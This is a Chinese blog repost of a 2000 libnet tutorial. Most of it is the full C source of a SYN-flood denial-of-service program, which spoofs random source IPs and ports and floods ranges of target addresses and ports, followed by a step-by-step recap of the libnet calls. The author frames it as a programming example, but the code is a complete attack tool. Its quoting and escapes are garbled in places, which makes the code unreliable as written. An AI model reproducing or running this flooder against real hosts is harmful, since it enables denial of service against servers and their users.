libnet使用举例(3)

 作者:小四 < mailto: scz@isbase.com >
主页:http://www.isbase.com
日期:2000-07-27 11:05

syn-flood的原理不再重复。需要通过命令行传递目标IP,应该允许指定单个IP或者
指定一个IP范围,这个可以统一成指定IP范围。还需要通过命令行传递目标端口,同
上,允许指定端口范围,指定单个PORT的时候就是把范围局限在一个端口上。无论什
么理由,都不应该直接使用本机(发起攻击的主机)IP作为源IP,所以需要通过命令行
指定一个伪造的源IP,在命令行上并未提供源IP的情况下,使用伪随机数发生器产生
伪随机源IP。对源端口的处理类似源IP。所谓flood,自然要考虑发送SYN报文的次数,
也通过命令行参数指定。

下面举例是在i386/Linux平台上进行的,使用了getopt()函数长选项支持,如果转到
SPARC/Solaris平台上,一般是不支持长选项的,此次故意没有提供这个兼容性考虑,
N年不用长选项,手痒痒,将就一下啦,如果要移植,换掉命令行参数处理部分即可。

--------------------------------------------------------------------------

/*
* File : syn flood program for i386/Linux using libnet
* Version: 0.99 alpha
* Author : scz < mailto: scz@isbase.com >
* : http://www.isbase.com
* Complie: gcc -O3 -o sf syn-flood.c `libnet-config --defines --cflags` `libnet-config --libs`
* Usage : ./sf --dil 192.168.10.2 --dih 192.168.10.2 --dpl 23 --dph 23
* Date : 2000-07-27 10:52
*/

/*******************************************************************
* *
* 头文件 *
* *
*******************************************************************/

#include
#include
#include /* 使用time()产生随机化种子 */
#include /* 使用getopt()长选项支持 */
#include /* 使用libnet必须包含这个头文件 */

/*******************************************************************
* *
* 宏定义 *
* *
*******************************************************************/

#define _GNU_SOURCE
#define SUCCESS 0
#define FAILURE -1
#define DEFAULTSYNNUMBER 74 /* 缺省发送SYN报文数目 */

struct ipoctet
{
char a[4];
char b[4];
char c[4];
char d[4];
};

struct ipocteti
{
int a;
int b;
int c;
int d;
};

/*******************************************************************
* *
* 全局变量 *
* *
*******************************************************************/

/* 用于初始化伪随机数发生器 */
u_long randomState[64] =
{
0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd,
0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7,
0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb,
0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27fb47b9, 0x9a319039,
0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x8088e080, 0x02800004,
0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94100003, 0xd60a0000,
0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x8600e007, 0x80a0e01f,
0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81c3e008, 0xd4224000
};

u_char * packet = NULL;
/* syn-flood不需要负载 */
size_t packet_size = LIBNET_IP_H + LIBNET_TCP_H;
int rawSocket;

/*******************************************************************
* *
* 函数原型 *
* *
*******************************************************************/

void Libnet_do_checksum ( u_char * buf, int protocol, int len );
void Libnet_init_packet ( size_t p_size, u_char ** buf );
int Libnet_open_raw_sock ( int protocol );
void Libnet_write_ip ( int sock, u_char * packet, int len );
void synFlood ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long synNumber );
void usage ( char * arg );

/*----------------------------------------------------------------------*/

void Libnet_do_checksum ( u_char * buf, int protocol, int len )
{
if ( libnet_do_checksum( buf, protocol, len ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed/n" );
}
return;
} /* end of Libnet_do_checksum */

void Libnet_init_packet ( size_t p_size, u_char ** buf )
{
if ( libnet_init_packet( p_size, buf ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can"t initialize packet/n" );
}
return;
} /* end of Libnet_init_packet */

int Libnet_open_raw_sock ( int protocol )
{
int s;
if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can"t open raw socket %08x/n", protocol );
}
return( s );
} /* end of Libnet_open_raw_sock */

void Libnet_write_ip ( int sock, u_char * packet, int len )
{
int w;
if ( ( w = libnet_write_ip( sock, packet, len ) ) < len )
{
libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes/n", w );
}
return;
} /* end of Libnet_write_ip */

void synFlood ( u_long srcIp, u_short srcPort, u_long dstIp, u_short dstPort, u_long synNumber )
{
u_long s;
/* 构造IP头 */
libnet_build_ip( LIBNET_TCP_H, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_TCP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
for ( s = 0; s < synNumber; s++ )
{
// 为了保证syn-flood成功,必须不断变更相关五元组,这里
// 通过不断变更源端口达到目的。源IP之所以不类似处理,因为考虑在有
// 源IP限制的情况下进行syn-flood。
/* 构造TCP头 */
libnet_build_tcp( ( u_short )( srcPort + s ), /* 源端口 */
dstPort, /* 目标端口 */
0x51211314, /* seq num */
0, /* ack num */
TH_SYN, /* control flags */
1024, /* window size */
0, /* urgent pointer */
NULL, /* payload (none) */
0, /* payload length */
packet + LIBNET_IP_H ); /* 指向TCP头 */
/* 计算TCP校验和,IP校验和由内核亲自计算 */
Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H );
/* 发送SYN报文 */
Libnet_write_ip( rawSocket, packet, packet_size );
// 这个输出很耗费时间,如果不是调试用,应该去掉
// fprintf( stderr, "." );
} /* end of for */
return;
} /* end of synFlood */

void usage ( char * arg )
{
fprintf( stderr, " Usage: %s [--si srcIp] [--dil dstIpLow] [--dih dstIpHigh]/n/t"
"[--sp srcPort] [--dpl dstPortLow] [--dph dstPortHigh]/n/t"
"[--num synNumber]/n", arg );
exit( FAILURE );
} /* end of usage */

int main ( int argc, char * argv[] )
{

#define LONGOPTIONCHAR "-"

/* 定义长选项 */
static struct option longOption[] =
{
{ "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */
{ "dil", 1, 0, LONGOPTIONCHAR }, /* 目标IP低端 */
{ "dih", 1, 0, LONGOPTIONCHAR }, /* 目标IP高端 */
{ "sp", 1, 0, LONGOPTIONCHAR }, /* 源端口 */
{ "dpl", 1, 0, LONGOPTIONCHAR }, /* 目标端口低端 */
{ "dph", 1, 0, LONGOPTIONCHAR }, /* 目标端口高端 */
{ "num", 1, 0, LONGOPTIONCHAR }, /* SYN报文数目 */
{ 0, 0, 0, 0 }
};
int longOptionIndex = 0; /* 用于处理长选项 */
int i, j, a, b, c, d;
struct ipoctet ipstart, ipend;
struct ipocteti ipstarti, ipendi;
struct ipoctet * pipstart = &ipstart;
struct ipoctet * pipend = &ipend;
/* 源IP使用使用网络字节序指定 */
u_long srcIp = 0xffffffff;
u_long dstIp;
u_short srcPort = 0xffff;
u_short dstPort;
u_short dstPortLow = 1; /* 缺省端口范围1-1024 */
u_short dstPortHigh = 1024;
u_long synNumber = DEFAULTSYNNUMBER; /* SYN报文数目 */
unsigned int randomSeed = ( unsigned int )time( NULL );

if ( argc == 1 )
{
usage( argv[0] );
}
initstate( randomSeed, ( char * )randomState, 128 );
setstate( ( char * )randomState );
opterr = 0; /* don"t want getopt() writing to stderr */
while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex ) ) != EOF )
{
switch ( c )
{
case LONGOPTIONCHAR: /* 处理长选项 */
/*
fprintf( stderr, "option %s", longOption[ longOptionIndex ].name );
if ( optarg )
{
fprintf( stderr, " with arg %s", optarg );
}
fprintf( stderr, "/n" );
*/
if ( optarg )
{
switch ( longOptionIndex )
{
case 0:
/* 返回值是big-endian序 */
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( srcIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s/n", optarg );
}
break;
case 1:
/* 验证是否是点分十进制IPv4地址表示 */
if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) == -1 )
{
/* 第一个参数为LIBNET_ERR_FATAL,会导致exit */
libnet_error( LIBNET_ERR_FATAL, "Bad dstIpLow: %s/n", optarg );
}
i = j = 0;
while ( optarg[i] != "." )
{
pipstart->a[ j++ ] = optarg[ i++ ];
}
pipstart->a[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "." )
{
pipstart->b[ j++ ] = optarg[ i++ ];
}
pipstart->b[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "." )
{
pipstart->c[ j++ ] = optarg[ i++ ];
}
pipstart->c[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "/0" )
{
pipstart->d[ j++ ] = optarg[ i++ ];
}
pipstart->d[j] = "/0"
/* Convert to integer values and store in struct */
if ( pipstart->a != NULL )
{
ipstarti.a = atoi( pipstart->a );
}
if ( pipstart->b != NULL )
{
ipstarti.b = atoi( pipstart->b );
}
if ( pipstart->c != NULL )
{
ipstarti.c = atoi( pipstart->c );
}
if ( pipstart->d != NULL )
{
ipstarti.d = atoi( pipstart->d );
}
break;
case 2:
/* 验证是否是点分十进制IPv4地址表示 */
if ( libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE ) == -1 )
{
/* 第一个参数为LIBNET_ERR_FATAL,会导致exit */
libnet_error( LIBNET_ERR_FATAL, "Bad dstIpHigh: %s/n", optarg );
}
i = j = 0;
while ( optarg[i] != "." )
{
pipend->a[ j++ ] = optarg[ i++ ];
}
pipend->a[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "." )
{
pipend->b[ j++ ] = optarg[ i++ ];
}
pipend->b[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "." )
{
pipend->c[ j++ ] = optarg[ i++ ];
}
pipend->c[j] = "/0"
j = 0;
i++;
while ( optarg[i] != "/0" )
{
pipend->d[ j++ ] = optarg[ i++ ];
}
pipend->d[j] = "/0"
/* Convert to integer values and store in struct */
if ( pipend->a != NULL )
{
ipendi.a = atoi( pipend->a );
}
if ( pipend->b != NULL )
{
ipendi.b = atoi( pipend->b );
}
if ( pipend->c != NULL )
{
ipendi.c = atoi( pipend->c );
}
if ( pipend->d != NULL )
{
ipendi.d = atoi( pipend->d );
}
break;
case 3: /* 采用10进制 */
srcPort = ( u_short )strtoul( optarg, NULL, 10 );
break;
case 4:
dstPortLow = ( u_short )strtoul( optarg, NULL, 10 );
break;
case 5:
dstPortHigh = ( u_short )strtoul( optarg, NULL, 10 );
break;
case 6: /* 采用10进制 */
synNumber = ( u_long )strtoul( optarg, NULL, 10 );
if ( synNumber == 0 )
{
fprintf( stderr, "Check your synNumber/n" );
exit( FAILURE );
}
break;
default:
break;
} /* end of switch */
}
break;
case "h":
case "?":
usage( argv[0] );
} /* end of switch */
} /* end of while */

if ( dstPortLow > dstPortHigh )
{
fprintf( stderr, "Check your low and high port/n" );
exit( FAILURE );
}
fprintf( stderr, "[ Flooding from %d.%d.%d.%d --> %d.%d.%d.%d ]/n",
ipstarti.a, ipstarti.b, ipstarti.c, ipstarti.d,
ipendi.a, ipendi.b, ipendi.c, ipendi.d );
fprintf( stderr, "[ Flooding from %u --> %u ]/n", dstPortLow, dstPortHigh );
/* 分配内存并初始化成零 */
Libnet_init_packet( packet_size, &packet );
/* 创建raw_socket */
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW );
for ( a = ipstarti.a; a <= ipendi.a; a++ )
{
for ( b = ipstarti.b; b <= ipendi.b; b++ )
{
for ( c = ipstarti.c; c <= ipendi.c; c++ )
{
for ( d = ipstarti.d; d <= ipendi.d; d++ )
{
/* 要求提供big-endian序,而i386/Linux本身是little-endian序 */
dstIp = d * 0x1000000 + c * 0x10000 + b * 0x100 + a;
for ( dstPort = dstPortLow; dstPort <= dstPortHigh; dstPort++ )
{
if ( srcIp == 0xffffffff )
{
/* 随机化源IP */
srcIp = ( u_long )random();
}
if ( srcPort == 0xffff )
{
/* 随机化源PORT */
srcPort = ( u_short )random();
}
synFlood( srcIp, srcPort, dstIp, dstPort, synNumber );
}
}
}
}
}
/* 关闭raw_socket */
libnet_close_raw_sock( rawSocket );
/* 释放由libnet_init_packet()分配的内存 */
libnet_destroy_packet( &packet );
fprintf( stderr, "/n[ Flood finished ]/n" );
return( SUCCESS );
} /* end of main */

/*----------------------------------------------------------------------*/

--------------------------------------------------------------------------

事实上libnet实在是不适合开发syn-flood这种需要尽量优化并提高效率的DoS程序,
大量循环重复构造报文,函数调用的开销增大,而前后修改并不很多,完全可以在构
造报文的函数内部做优化,但现在我们使用的是封装过的libnet库函数,没有这个优
化机会。

在SPARC/Solaris下用netstat -n -P tcp是看不到SYN_RCVD状态的,必须用如下命令
netstat -na | grep SYN_RCVD查看效果。欲验证效果就syn-flood 23,然后telnet
即可。

是不是感觉命令行太罗嗦啦,那不关我事情,目的有三,长选项温习,伪随机数发生
器,使用libnet,三个目的都达到了,程序本身并没有考虑易用性,也不是作为有效
工具提供,仅仅是个libnet编程例子。现在我们来总结一下libnet库编程的关键步骤:

1) 分配内存并初始化成零
Libnet_init_packet( packet_size, &packet );
2) 创建raw_socket
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW );
3) 构造IP头
libnet_build_ip( LIBNET_TCP_H, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_TCP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
4) 构造TCP头
libnet_build_tcp( ( u_short )( srcPort + s ), /* 源端口 */
dstPort, /* 目标端口 */
0x51211314, /* seq num */
0, /* ack num */
TH_SYN, /* control flags */
1024, /* window size */
0, /* urgent pointer */
NULL, /* payload (none) */
0, /* payload length */
packet + LIBNET_IP_H ); /* 指向TCP头 */
5) 计算TCP校验和,IP校验和由内核亲自计算
Libnet_do_checksum( packet, IPPROTO_TCP, LIBNET_TCP_H );
6) 发送SYN报文
Libnet_write_ip( rawSocket, packet, packet_size );
7) 关闭raw_socket
libnet_close_raw_sock( rawSocket );
8) 释放由libnet_init_packet()分配的内存
libnet_destroy_packet( &packet );

以上八步可能是最简单的libnet编程举例了,如果你对NT/2K下的可移植性感兴趣,
可以替换掉长选项支持、伪随机发生器部分,尝试移植一下。后面可能还会举点其他
libnet库编程的例子,不能确定是什么。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值